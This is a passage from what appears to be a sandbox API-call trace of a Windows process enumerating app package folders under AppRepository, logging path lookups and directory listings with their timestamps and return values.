Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0218.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0218.903] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0219.025] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.026] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.027] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0219.034] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0219.037] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0219.038] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x73 [0219.042] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0219.043] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x72 [0219.044] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x73 [0219.050] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0219.052] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0219.053] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0219.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0219.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned 0x73 [0219.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned 0x74 [0219.216] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0219.217] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0219.218] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned 0x76 [0219.222] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0219.223] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned 0x75 [0219.223] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned 0x76 [0219.232] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0219.234] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0219.235] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0219.238] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0219.239] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0219.240] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0219.495] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.497] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.498] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0219.502] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.503] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0219.503] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0219.515] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0219.517] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0219.518] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0219.521] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0219.522] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0219.525] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0219.733] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b71ceca, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcaec27cd, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcaec27cd, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.734] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf113a5c2, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xf113a5c2, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0xf126bc97, ftLastWriteTime.dwHighDateTime=0x1d70073, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0219.735] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.735] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0219.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.736] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x6f [0219.736] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_1.10.22012.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b71ceca, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcaec27cd, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcaec27cd, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0219.737] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b71ceca, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcaec27cd, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcaec27cd, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.737] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf113a5c2, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xf113a5c2, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0xf126bc97, ftLastWriteTime.dwHighDateTime=0x1d70073, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0219.737] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf113a5c2, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xf113a5c2, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0xf126bc97, ftLastWriteTime.dwHighDateTime=0x1d70073, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0219.737] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0219.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.738] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0219.738] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_25.10586.0.0_neutral__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63139a5c, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0219.739] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63139a5c, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.739] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8891dbc3, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8891dbc3, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8891dbc3, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0219.739] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c4d0be, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x87c4d0be, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x87c4d0be, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0219.740] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.740] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0219.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0219.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0219.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0219.740] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_25.10586.0.0_neutral__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: 